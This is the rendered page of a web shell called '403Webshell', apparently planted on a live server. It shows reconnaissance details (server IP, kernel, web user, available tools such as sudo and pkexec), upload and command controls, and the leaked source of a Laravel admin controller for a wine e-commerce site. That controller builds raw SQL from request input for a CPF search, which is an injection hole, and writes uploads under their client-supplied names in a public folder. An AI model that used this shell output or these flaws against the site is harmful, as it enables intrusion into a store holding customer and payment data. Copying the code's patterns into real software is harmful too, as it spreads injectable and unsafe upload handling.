403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Cadastro/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Cadastro/Controllers/Admin/AdminCadastroController.php
<?php

namespace App\Modules\Cadastro\Controllers\Admin;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;

use Mail;
use Exception;
use App\Http\Requests;
use App\Http\Controllers\BaseController;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;
use App\Modules\CadastroCartao\Models\CadastroCartao;
use App\Modules\Comentario\Models\Comentario;
use App\Modules\CadastroHasComentario\Models\CadastroHasComentario;
use App\Modules\Adega\Models\Adega;
use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;
use App\Modules\PedidoEntregaStatus\Models\PedidoEntregaStatus;
use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\PedidoVendaHistorico\Models\PedidoVendaHistorico;
use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\TagTipo\Models\TagTipo;
use App\Modules\Empresa\Models\Empresa;
use App\Modules\Tag\Models\Tag;
use App\Services\GeralService;
use App\Services\DashService;
use App\User;
use App\UserActivation;

use App\Modules\Confraria\Models\Confraria;



use DB;

use Sentinel;
use Activation;
use Illuminate\Support\Arr;
use Excel;

class AdminCadastroController extends BaseController
{
	private $modulo;
	private $fields;
	private $fks;

    public function __construct(){
		parent::__construct();
		$this->middleware('auth');
		$this->modulo = \App\Gerador::where('nome', 'Cadastro')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;
		$this->cadastro_m = new Cadastro();

		setlocale(LC_ALL, 'pt_BR', 'pt_BR.utf-8', 'pt_BR.utf-8', 'portuguese');
		date_default_timezone_set('America/Sao_Paulo');
	}

	public function index(Request $request){

		$query = $this->cadastro_m->select('cadastro.*');

		$data['fields_listagem'] = array();
		foreach ($this->fields as $field) {
			if($field->listagem){
				$data['fields_listagem'][] = $field;
			}
		}
		foreach ($this->fks as $fk) {
			if($fk->listagem){
				if($fk->campoRelacionado->translatable){
					$table = $fk->moduloRelacionado->nome_tabela.'_descricao';
					$on = $fk->moduloRelacionado->nome_tabela.'_descricao.'.$fk->moduloRelacionado->nome_tabela.'_id';
				}else{
					$table = $fk->moduloRelacionado->nome_tabela;
					$on = $fk->moduloRelacionado->nome_tabela.'.id';
				}
				$query->leftJoin($table, 'cadastro.'.$fk->nome, '=', $on);
				$query->addSelect($table.'.'.$fk->campoRelacionado->nome.' as fk'.$fk->id);
				$data['fields_listagem'][] = $fk;
			}
		}

		$query->orderBy('id', 'DESC');
		$query->leftJoin('sis_users', 'cadastro.user_id', '=', 'sis_users.id');
		if ($request->input('term'))
        {
        	$query->where(function($qr) use ($request){
        		$qr->where(DB::raw('CONCAT(cadastro.nome, " ", cadastro.sobrenome)'), 'like', '%'.$request->input('term').'%');
                $qr->orWhere('sis_users.email', 'like', '%'.$request->input('term').'%');
        	});
        }

        if ($request->input('cpf'))
        {   
            $replace = [".", "/", "-"];
            $by = ["", "", ""];

            $cpfCnpjFiltrado = str_replace($replace, $by, $request->input('cpf'));
            
            // CNPJ
            if(strlen($cpfCnpjFiltrado) > 11){
                $query->where(function($qr) use ($request, $cpfCnpjFiltrado){
                    $cnpj = GeralService::mascararCnpj("##.###.###/####-##", $cpfCnpjFiltrado);
                    $qr->where('cadastro.cnpj', $cpfCnpjFiltrado);
                    $qr->orWhere('cadastro.cnpj', $cnpj);
                });
            }
            // CPF
            else{
                $query->where(function($qr) use ($request){
                    $cpf = GeralService::mascaraCpf($request->input('cpf'));
                    $qr->whereRaw(DB::raw("REPLACE(REPLACE(cadastro.cpf, '.', ''), '-', '') LIKE '%" . $request->input('cpf') . "%'"));
                    $qr->orWhere('cadastro.cpf', $cpf);
                });
            }
        }

        if ($request->input('tag'))
        {  
            $query->join('pedido_venda', 'pedido_venda.id_cliente', '=', 'cadastro.id')
            ->join('pedido_venda_has_produto', 'pedido_venda_has_produto.id_pedido_venda', '=', 'pedido_venda.id')
            ->join('produto_has_tag', 'produto_has_tag.produto_id', '=', 'pedido_venda_has_produto.id_produto')
            ->join('tag', 'tag.id', '=', 'produto_has_tag.tag_id')
            ->where('tag.nome', 'like', '%'.$request->input('tag').'%'); 
        }

		$data['cadastros'] = $query->groupBy('cadastro.id')->paginate(20);

		usort($data['fields_listagem'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});

		return view('Cadastro::admin/cadastro', $data);
	}

    public function playground(Request $request){
        $data = [];
        return view('Cadastro::admin/playground-index',$data);
    }

    public function playgroundV2(Request $request){
        $data = [];
        return view('Cadastro::admin/playground-index-v2',$data);        
    }

    public function playgroundEdit(Request $request){
        $data = [];
        return view('Cadastro::admin/playground-edit',$data);
    }

    public function playgroundEditV2(Request $request){
        $data = [];
        return view('Cadastro::admin/playground-edit-v2',$data);
    }

	public function add(){
		$data = array();
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['nextId'] = $this->cadastro_m->getNextAutoIncrement();

        $tipoConta = 'VinumDay';

        $data['tipoConta'] = $tipoConta;
        $data['tags'] = Tag::get();

		return view('Cadastro::admin/form-cadastro', $data);
	}

	public function edit($slug){
		$id = Cadastro::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['cadastro'] = $this->cadastro_m->find($id);
		if($this->modulo->galeria){
			$data['cadastro']->imagens = $this->cadastro_m->getImagens($id);
		}

		$tipoConta = 'VinumDay';
		if ($data['cadastro']->id_facebook) {
			$tipoConta = 'Facebook';
		}
		if ($data['cadastro']->id_twitter) {
			$tipoConta = 'Twitter';
		}
		if ($data['cadastro']->id_google) {
			$tipoConta = 'Google';
		}

		$data['tipoConta'] = $tipoConta;
        $data['tags'] = Tag::get();

        $data['tentativasCartao'] = CadastroCartao::where('cadastro_id', $data['cadastro']->id)->where('empresa_id', $data['cadastro']->empresa_id)->whereDate('data_cadastro', date('Y-m-d'))->where('ativo', 0)->count();

		return view('Cadastro::admin/form-cadastro',$data);
	}

	public function detalhe($slug){

        $data['confrariaCadastro'] = false;
        $data['cadastro'] = Cadastro::where('slug', $slug)->with('user', 'confrariaMembro.confraria')->first();

		$pagarMe =  new \PagarMe\Sdk\PagarMe(GeralService::getApiKeyPagarMe($data['cadastro']));

		foreach ($data['cadastro']->cartoes as $cartao) {
			try {
				$cartao->info = $pagarMe->card()->get($cartao->cartao_id);
			} catch (\Exception $e) {
				$cartao->info = null;
			}
        }

        $data['entregas']   = GeralService::buscarEntregasPorCliente($data['cadastro']->id);
        $data['pagamentos'] = GeralService::buscarPagamentosPorCliente($data['cadastro']->id);
        $ultimo_pedido      = FALSE;

        $empresas           = Empresa::all();
        $pagarMe            = [];
        foreach ($empresas as $empresa) {
            $apiKey = $empresa->api_key_pagar_me;
            $pagarMe[$empresa->id] =  new \PagarMe\Sdk\PagarMe($apiKey);
        }

		foreach ($data['pagamentos'] as $pagamento) {
            if(!$ultimo_pedido){
                $ultimo_pedido = $pagamento;
            }
			if($pagamento->transacao_id && !empty($pagamento->empresa_id)){
				$pagamento->transaction = $pagarMe[$pagamento->empresa_id]->transaction()->get($pagamento->transacao_id);
			}
            
            if($pagamento->pedidoEntrega){
                $pedidoEntregaStatus            = PedidoEntregaHasStatus::where('id_pedido_entrega', $pagamento->pedidoEntrega->id)->orderBy('data', 'desc')->first();
                $pagamento->pedidoEntregaStatus = $pedidoEntregaStatus->status;
            }
		}

		/* Produtos da Adega */
        $data['meusVinhos']              = GeralService::buscarAdegaPorCliente($data['cadastro']->id);
        $data['meusVinhosPendentes']     = GeralService::buscarAdegaPendentePorCliente($data['cadastro']->id);
        $data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta($data['cadastro']->id);
        $data['adegas']                  = GeralService::buscarAdegasCliente(['id_cadastro' => $data['cadastro']->id]);

        foreach ($data['adegas'] as $adega) {
            $listaAdega = GeralService::buscarListaAdegas($adega->id_cliente, FALSE, $adega->id);
            $listaAdega = count($listaAdega) == 1 ? $listaAdega[0] : FALSE;
            if($listaAdega){
                
                $qtde_produtos = (!empty($listaAdega->qtde_produtos) ? $listaAdega->qtde_produtos : 0) + (!empty($listaAdega->qtde_produtos_combo) ? $listaAdega->qtde_produtos_combo : 0);
                $qtde_produtos = number_format($qtde_produtos, 0, '','');

                if($listaAdega->quantidade_pedidos != $listaAdega->qtde_pedidos || $listaAdega->quantidade_produtos != $qtde_produtos || $listaAdega->valor_total != $listaAdega->total_pedidos){

                    if(empty($listaAdega->quantidade_pedidos) && empty($listaAdega->qtde_pedidos)){
                        return TRUE;
                    }
                    $adega->saldos = FALSE;
                }else{
                    $adega->saldos = TRUE;
                }
                $adega->quantidade_pedidos = $listaAdega->quantidade_pedidos;
                $adega->quantidade_produtos = $listaAdega->quantidade_produtos;
            }else{
                $adega->saldos = TRUE;
            }
        }

		$tipoConta = 'VinumDay';
		if ($data['cadastro']->id_facebook) {
			$tipoConta = 'Facebook';
		}
		if ($data['cadastro']->id_twitter) {
			$tipoConta = 'Twitter';
		}
		if ($data['cadastro']->id_google) {
			$tipoConta = 'Google';
		}

		$data['tipoConta'] = $tipoConta;

        $primeiro_pedido = GeralService::buscarPrimeiroPedidoCliente($data['cadastro']->id);
        $total_pedido    = GeralService::buscarTotalPedidosCliente($data['cadastro']->id);

        //considerar apenas status 2,7
        //pega último pedido - Primeiro Pedido => pega diferença de dias e divide pelo número de pedidos? Exato, Qtd de dias / Qtd de pedidos
        $data_cadastro = (!empty($data['cadastro']->user->created_at) ? $data['cadastro']->user->created_at : '');
        if($primeiro_pedido){
            $anos_pedido  = date_diff(date_create($primeiro_pedido->data_fechamento), date_create($ultimo_pedido->data_fechamento))->y;
            $meses_pedido = date_diff(date_create($primeiro_pedido->data_fechamento), date_create($ultimo_pedido->data_fechamento))->m;
            $dias_pedido  = date_diff(date_create($primeiro_pedido->data_fechamento), date_create($ultimo_pedido->data_fechamento))->d;

            $dias_entre_pedidos = ($anos_pedido * 365) + ($meses_pedido * 30) + $dias_pedido;
            $pedidos            = $data['pagamentos']->total();
            $frequencia_pedidos = $dias_entre_pedidos / $pedidos;

            $ticket_medio = 0;
            if(!empty($total_pedido->total)){
                $ticket_medio = $total_pedido->total / $total_pedido->quantidade;
            }

            if($primeiro_pedido && $primeiro_pedido->data_fechamento < $data_cadastro){
                $data_cadastro = $primeiro_pedido->data_fechamento;
            }
        }

        //Cálculo Adegas
        if(count($data['adegas']) > 0){
            $total_adega       = GeralService::buscarTotalAdegasCliente($data['cadastro']->id);
            $media_adegas      = $total_adega->total / count($data['adegas']);
            $quantidade_adegas = $total_adega->quantidade / count($data['adegas']);

            $primeiro_adega = GeralService::buscarPrimeiraAdegaCliente($data['cadastro']->id);
            $ultima_adega   = $data['adegas'][0];
            $anos_adega     = date_diff(date_create($primeiro_adega->data_abertura), date_create($ultima_adega->data_abertura))->y;
            $meses_adega    = date_diff(date_create($primeiro_adega->data_abertura), date_create($ultima_adega->data_abertura))->m;
            $dias_adega     = date_diff(date_create($primeiro_adega->data_abertura), date_create($ultima_adega->data_abertura))->d;

            $dias_entre_adegas = ($anos_adega * 365) + ($meses_adega * 30) + $dias_adega;
            $adegas            = count($data['adegas']);
            $frequencia_adegas = $dias_entre_adegas / $adegas;
        }

        $vendasAno   = DashService::totalVendasAno($data['cadastro']->id);
        $vendasTipo  = DashService::totalVendasTipoProduto($data['cadastro']->id, $total_pedido->total);
        $vendasPais  = DashService::totalVendasPaisProduto($data['cadastro']->id, $total_pedido->total);

        $data['vendas_ano']  = $vendasAno;
        $data['vendas_tipo'] = $vendasTipo;
        $data['vendas_pais'] = $vendasPais;
        // $data['tags'] = Tag::get();
       // $data['cliente_tags'] = DB::table('cliente_has_tag')->where('cadastro_id', $data['cadastro']->id)->pluck('tag_id')->toArray();

        $data['dash'] = [
            'data_cadastro'      => $data_cadastro,
            'primeiro_pedido'    => ($primeiro_pedido ? $primeiro_pedido->data_fechamento : ''),
            'ultimo_pedido'      => ($ultimo_pedido ? $ultimo_pedido->data_fechamento : ''),
            'frequencia_pedidos' => isset($frequencia_pedidos) ? round($frequencia_pedidos) : 0,
            'media_adegas'       => isset($media_adegas) ? $media_adegas : 0,
            'quantidade_adegas'  => isset($quantidade_adegas) ? $quantidade_adegas : 0,
            'ciclo_adegas'       => isset($frequencia_adegas) ? $frequencia_adegas : 0,
            'ticket_medio'       => isset($ticket_medio) ? $ticket_medio : 0,
            'total_pedidos'      => !empty($total_pedido->total) ? $total_pedido->total : 0,
            'quantidade_pedidos' => !empty($total_pedido->quantidade) ? $total_pedido->quantidade : 0
        ];

        $data["cupons_utilizados"] = DB::table("cupom")
            ->select(
                "cupom.*",
                "pedido_venda.id as id_pedido_venda",
                "pedido_venda.data_fechamento as data_utilizacao"
            )
            ->join("pedido_venda", "pedido_venda.id_cupom", "cupom.id")
            ->where("pedido_venda.id_cliente", $data['cadastro']->id)
            ->limit(30)
            ->get();

        $data['documentos_analise'] = DB::table('cadastro_documentos_validacao')
            ->where('cadastro_id', $data['cadastro']->id)
            ->get();

        return view('Cadastro::admin/detalhe-cadastro',$data);
	}

    public function mudarStatusAnaliseDocumentos(Request $request)
    {
        $documentoId = $request->input('documento');
        $status = $request->input('status');
        $motivo_recusa =  $request->input('motivo_recusa') !== null ? $request->input('motivo_recusa') : '';

        $arrayUpdate = [
            'status' => $status,
        ];

        if((isset($motivo_recusa) && $motivo_recusa != '') && $status = 'R'){
               $arrayUpdate['motivo_recusa'] = $motivo_recusa;
        }

        DB::table('cadastro_documentos_validacao')
            ->where('id', $documentoId)
            ->update($arrayUpdate);

        return response()->json([
            'status' => true,
            'message' => 'Registro atualizado com sucesso!'
        ]);
    }

    public function estornarPedidos($id){
        
        $user             = Sentinel::getUser();
        $data['cadastro'] = Cadastro::where('id', $id)->first();

        //Pedidos Vendas
        $pedidosVenda = PedidoVenda::where('id_cliente', $id)->where('id_status_pedido_venda', 5)->get();

        if(count($pedidosVenda) == 0){

            $json = [
                'status'  => true,
                'message' => 'Nenhum pedido Cancelado para Estornar!'
            ];

            return response()->json($json);            
        }

        $empresas           = Empresa::all();
        $pagarMe            = [];
        foreach ($empresas as $empresa) {
            $apiKey = $empresa->api_key_pagar_me;
            $pagarMe[$empresa->id] =  new \PagarMe\Sdk\PagarMe($apiKey);
        }

        foreach ($pedidosVenda as $pedidoVenda) {

            try {
                
                if($pedidoVenda && $pedidoVenda->transacao_id){

                    $transaction = $pagarMe[$pedidoVenda->empresa_id]->transaction()->get($pedidoVenda->transacao_id);

                    /** @var $transaction \PagarMe\Sdk\Transaction\CreditCardTransaction */
                    $refund = $pagarMe[$pedidoVenda->empresa_id]->transaction()->creditCardRefund(
                        /** @var $otherTransaction \PagarMe\Sdk\Transaction\CreditCardTransaction */
                        $transaction,
                        number_format($pedidoVenda->total,2,'','')
                    );

                    $pedidoVenda->transacao_id = $refund->getId();
                    $pedidoVenda->id_status_pedido_venda = 4;
                    $pedidoVenda->save();

                    $pedidoVendaHistorico = new PedidoVendaHistorico();
                    $pedidoVendaHistorico->id_pedido_venda = $pedidoVenda->id;
                    $pedidoVendaHistorico->data = date('Y-m-d H:i');
                    $pedidoVendaHistorico->comentario = "Estornado via Admin [ESTORNAR PEDIDOS]";
                    $pedidoVendaHistorico->notificar_cliente = 0;
                    $pedidoVendaHistorico->id_pedido_venda_status = 4;
                    $pedidoVendaHistorico->id_colaborador = $user->id;

                    $pedidoVendaHistorico->save();

                }

            } catch (Exception $e) {
                Log::info("/admin/cadastro/estornarPedidos => " . $e->getMessage());
                continue;
            }

        }

        $json = [
            'status'  => true,
            'message' => 'Pedidos Venda (Cancelados) Estornados com Sucesso!'
        ];

        return response()->json($json);

    }

    public function cancelarPedidos($id){

        $user             = Sentinel::getUser();
        $data['cadastro'] = Cadastro::where('id', $id)->first();

        //Pedidos Vendas
        $pedidosVenda = PedidoVenda::where('id_cliente', $id)->whereIn('id_status_pedido_venda', [1,2,7])->get();
        foreach ($pedidosVenda as $pedido) {

            $pedido->id_status_pedido_venda = 5;
            $pedido->save();

            $pedidoVendaHistorico = new PedidoVendaHistorico();
            $pedidoVendaHistorico->id_pedido_venda        = $pedido->id;
            $pedidoVendaHistorico->data                   = date('Y-m-d H:i');
            $pedidoVendaHistorico->comentario             = "Cancelado via Admin [CANCELAR PEDIDOS]";
            $pedidoVendaHistorico->notificar_cliente      = 0;
            $pedidoVendaHistorico->id_pedido_venda_status = 5;
            $pedidoVendaHistorico->id_colaborador         = $user->id;

            $pedidoVendaHistorico->save();

        }

        //Pedidos Entregas
        $pedidosEntrega = PedidoEntrega::select('pedido_entrega.*')->join('adega','adega.id','=','pedido_entrega.id_adega')
        ->where('adega.id_cliente', $id)->whereIn('id_pedido_entrega_status', [1,2,3,4,8,9])->get();

        $pedidoEntregaStatus = PedidoEntregaStatus::where('id', 7)->first();

        foreach ($pedidosEntrega as $pedido) {

            $pedido->id_pedido_entrega_status = 7;
            $pedido->save();

            $pedidoEntregaHasStatus = new PedidoEntregaHasStatus();
            $pedidoEntregaHasStatus->id_pedido_entrega = $pedido->id;
            $pedidoEntregaHasStatus->data = date('Y-m-d H:i:s');
            $pedidoEntregaHasStatus->observacao = "Cancelado via Admin [CANCELAR PEDIDOS]";
            $pedidoEntregaHasStatus->notificar_cliente = $pedidoEntregaStatus->notificar_cliente;
            $pedidoEntregaHasStatus->id_pedido_entrega_status = 7;
            $pedidoEntregaHasStatus->user_id = Sentinel::getUser()->id;

            $pedidoEntregaHasStatus->save();
            
        }

        $json = [
            'status'  => true,
            'message' => 'Pedidos Venda/Entrega Cancelados com Sucesso! Favor estornar Pagamentos!'
        ];

        return response()->json($json);
    }

    public function limparTentativasCartao($id){

        $user     = Sentinel::getUser();
        $cadastro = Cadastro::where('id', $id)->first();

        CadastroCartao::where('cadastro_id', $cadastro->id)->where('empresa_id', $cadastro->empresa_id)->whereDate('data_cadastro', date('Y-m-d'))->where('ativo', 0)->delete();

        $cadastro->bloqueio_cliente = 0;
        $cadastro->motivo_bloqueio  = "Desbloqueio via admin [LIMPAR TENTATIVAS CARTÃO] em " . date('Y-m-d H:i:s');
        $cadastro->save();

        $json = [
            'status'  => true,
            'message' => 'Tentativas limpas e cliente desbloqueado!'
        ];

        return response()->json($json);

    }

	public function save(Request $request){
		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		if($request->input('id')){

			$cadastro = Cadastro::find($request->input('id'));


            if($post['bloqueio_cliente'] != $cadastro->bloqueio_cliente){
                if((int) $post['bloqueio_cliente'] == 1){
                    $cadastro->bloqueio_cliente = 1;
                    $cadastro->data_bloqueio   = date('Y-m-d H:i:s');
                    $cadastro->motivo_bloqueio = 'Bloqueio via admin';
                }else{
                    $cadastro->bloqueio_cliente = 0;
                    $cadastro->data_bloqueio = null;
                    $cadastro->motivo_bloqueio  = 'Desbloqueio via admin em ' . date('Y-m-d H:i:s');
                }
            }

            if(isset($post['desativar_acesso']) && $post['desativar_acesso'] == $cadastro->user->ativacao->completed){
                $Ativacao = $cadastro->user->ativacao;
                $Ativacao->completed = $post['desativar_acesso'] == 1 ? 0 : 1;
                $Ativacao->save();
            }

            if(isset($post['ativar_acesso']) && $post['ativar_acesso'] == 1 && !$cadastro->user->ativacao){
                $userSentinel = Sentinel::findUserById($cadastro->user_id);
                $activation   = Activation::create($userSentinel);
                Activation::complete($userSentinel, $activation->code);
            }

			/* Atualiza o e-mail do usuário caso necessário */
			if($post['email'] != $cadastro->user->email){

				if(User::where('email', $post['email'])->count() > 0){
					\Session::flash('type','danger');
					\Session::flash('message','Já existe um usuário com esse e-mail');
					return redirect()->back()->withInput();
				}

				$user = User::find($cadastro->user_id);
				$user->email = $post['email'];
				$user->save();
			}

			if($post['password']){
				$user = User::find($cadastro->user_id);
				$user->password = bcrypt($post['password']);
				$user->save();
			}

			unset($post['id']);
		}else{

			if(User::where('email', $post['email'])->count() > 0){
				\Session::flash('type','danger');
				\Session::flash('message','Já existe um usuário com esse e-mail');
				return redirect()->back()->withInput();
			}

			$cadastro = new Cadastro();

			if(strlen($post['password']) >= 6 && strlen($post['password']) <= 12){

				$user = Sentinel::registerAndActivate([
					'email' => $post['email'],
					'password' => $post['password']
				]);


				// Adiciona o usuário criado à role de secretárias
				$roleCadastro = Sentinel::findRoleBySlug('cliente');
				$roleCadastro->users()->attach($user);

				$cadastro->user_id = $user->id;

			}else{

				\Session::flash('type','danger');
				\Session::flash('message','A senha deve conter entre 6 e 12 caracteres');
				return redirect()->back()->withInput();
			}

		}

        $filtered = collect($post)->filter()->toArray();
		$cadastro->fill($filtered);

		$cadastro->save();

        /*
        DB::table('cliente_has_tag')->where('cadastro_id', $cadastro->id)
        ->delete();
        if(isset($post['tags']) && empty($post['tags'] == false)){
            foreach($post['tags'] as $tag){
                DB::table('cliente_has_tag')->insert([
                    'cadastro_id' => $cadastro->id,
                    'tag_id'     => $tag,
                ]);
            }
        }	
        */

		\Session::flash('type', 'success');
      	\Session::flash('message', "Alteracoes salvas com sucesso!");
		return redirect('admin/cadastro/detalhe/'.$cadastro->slug);

	}



	public function upload_image(Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/cadastro/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;
			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function upload_galeria($id, Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/cadastro/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;

			$this->cadastro_m->criar_imagem(array('id_cadastro' => $id, 'thumbnail_principal' => $tmpFileName));

			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function crop_image(Request $request) {
		$img = \Image::make('uploads/cadastro/'.$request->input('file_name'));
		$dataCrop = json_decode($request->input('data_crop'));
		if($img->crop(intval($dataCrop->width), intval($dataCrop->height), intval($dataCrop->x), intval($dataCrop->y))->save('uploads/cadastro/thumb_'.$request->input('file_name'))){
			@unlink('uploads/cadastro/'.$request->input('file_name'));
			echo json_encode(array(
				'status' => true,
				'path' => '/uploads/cadastro/thumb_'.$request->input('file_name'),
				'file_name' => 'thumb_'.$request->input('file_name'),
			));
		}else{
			echo json_encode(array(
				'status' => false,
				'message' => 'Não foi possível alterar a imagem.'
			));
		}

	}

	public function addComentario(Request $request) {
		$post = $request->input();

		$comentario = new Comentario();
		$comentario->descricao = $post['descricao'];
		$comentario->user_id = $this->current_user->id;
		$comentario->data = date('Y-m-d H:i:s');
		$comentario->save();

		$cadastroHasComentario = new CadastroHasComentario();
		$cadastroHasComentario->comentario_id = $comentario->id;
		$cadastroHasComentario->cadastro_id = $post['id_pessoa'];
		$cadastroHasComentario->save();

		$html = view('Cadastro::admin/comentario-item', ['comentario' => $comentario])->render();

		return response()->json(array(
			'status' => true,
			'message' => 'Comentário adicionado com sucesso',
			'html' => $html
		));
	}

	public function delete($slug){
		$id = Cadastro::where('slug', $slug)->value('id');
		$this->cadastro_m->deletar($id);

		\Session::flash('type', 'success');
      \Session::flash('message', "Registro removido com sucesso!");
		return redirect('admin/cadastro');
	}

	public function delete_imagem($id){
		try{
			$imagem = $this->cadastro_m->getImagem($id);
			$this->cadastro_m->deletar_imagem($id);

			unlink('uploads/cadastro/'.$imagem->thumbnail_principal);

			return response()->json(array('status' => true, 'message' => 'Registro removido com sucesso!'));
		}catch(Exception $e){
			return response()->json(array('status' => false, 'message' => $e->getMessage()));
		}


	}

	private function slugify($string)
    {
        return strtolower(trim(preg_replace('~[^0-9a-z]+~i', '-', html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);~i', '$1', htmlentities($string, ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8')), '-'));
    }

    public function salvarEndereco(Request $request){
        $post = $request->input();

        $cadastro = Cadastro::find($post['cadastro_id']);

        $cadastroEndereco = new CadastroEndereco();
        $cadastroEndereco->fill($post);
        $cadastroEndereco->cadastro_id = $cadastro->id;
        $cadastroEndereco->save();

        $data['endereco'] = $cadastroEndereco;

        return response()->json(array(
            'status' => true,
            'message' => 'Endereço adicionado com sucesso!',
            'html' => view('perfil/endereco-item', $data)->render()
        ));

    }

    public function definirEnderecoPrincipal(Request $request){
        $post = $request->input();

        CadastroEndereco::where('cadastro_id', $post['cadastro_id'])->where('principal', 1)->update(['principal' => 0]);

        $endereco = CadastroEndereco::find($post['id']);
        $endereco->principal = 1;
        $endereco->save();


        return response()->json(array(
            'status' => true,
            'message' => 'Endereço principal alterado com sucesso!'
        ));

    }

    public function excluirEndereco(Request $request){
        $post = $request->input();

        $numeroPde = PedidoEntrega::where('id_cadastro_endereco', $post['id'])->count();

        if($numeroPde > 0){
            return response()->json(array(
                'status' => false,
                'message' => 'Não foi possível remover o registro devido à existência de entrega(s) solicitada(s) nesse endereço.'
            ));
        }

        $endereco = CadastroEndereco::where('cadastro_id', $post['cadastro_id'])->where('id', $post['id'])->first();

        if($endereco){

            $endereco->delete();

            return response()->json(array(
                'status' => true,
                'message' => 'Endereço removido com sucesso!'
            ));
        }else{
            return response()->json(array(
                'status' => false,
                'message' => 'Endereço inválido'
            ));
        }

    }

    public function salvarCartao(Request $request){

        $post       = $request->input();
        $expiryDate = substr($post['expiry'],0,2).substr($post['expiry'],5,2); // Format MMAA

        $user     = Sentinel::getUser();
        $cadastro = Cadastro::find($post['cadastro_id']);
        $apiKey   = GeralService::getApiKeyPagarMe($cadastro);
        $pagarMe  = new \PagarMe\Sdk\PagarMe($apiKey);

        $cadastroCartao = new CadastroCartao();
        $cadastroCartao->cadastro_id   = $cadastro->id;
        $cadastroCartao->empresa_id    = $cadastro->empresa_id;
        $cadastroCartao->data_cadastro = date('Y-m-d H:i:s');
        $cadastroCartao->principal     = 0;

        try {

            $card = $pagarMe->card()->create(
                $post['number'],
                $post['name'],
                $expiryDate
            );

            if($card->getValid()){

                $cadastroCartao->cartao_id = $card->getId();
                if(count($cadastro->cartoes) == 0){
                    $cadastroCartao->principal = 1;
                }
                $cadastroCartao->save();

            }else{

                $cadastroCartao->retorno = 'Cartão Inválido';
                $cadastroCartao->ativo   = 0;
                $cadastroCartao->save();

                return response()->json(array(
                    'status'  => false,
                    'message' => 'Dados do cartão são <strong>inválidos</strong>. Tente novamente.'
                ));
            }

        } catch (\Exception $e) {

            $errors = json_decode(json_decode($e->getMessage()));

            $cadastroCartao->retorno  = isset($errors->errors) ? json_encode($errors->errors[0]->message) : 'Erro cartão admin';
            $cadastroCartao->ativo = 0;
            $cadastroCartao->save();

            return response()->json(array(
                'status'  => false,
                'message' => 'Dados do cartão são <strong>inválidos</strong>. Tente novamente.'
            ));

        }

        $data['cartao'] = $cadastroCartao;
        $data['cartao']->info = $pagarMe->card()->get($cadastroCartao->cartao_id);

        return response()->json(array(
            'status'  => true,
            'message' => 'Cartão adicionado com sucesso!',
            'html'    => view('perfil/cartao-item', $data)->render()
        ));

    }

    public function definirCartaoPrincipal(Request $request){

        $post = $request->input();
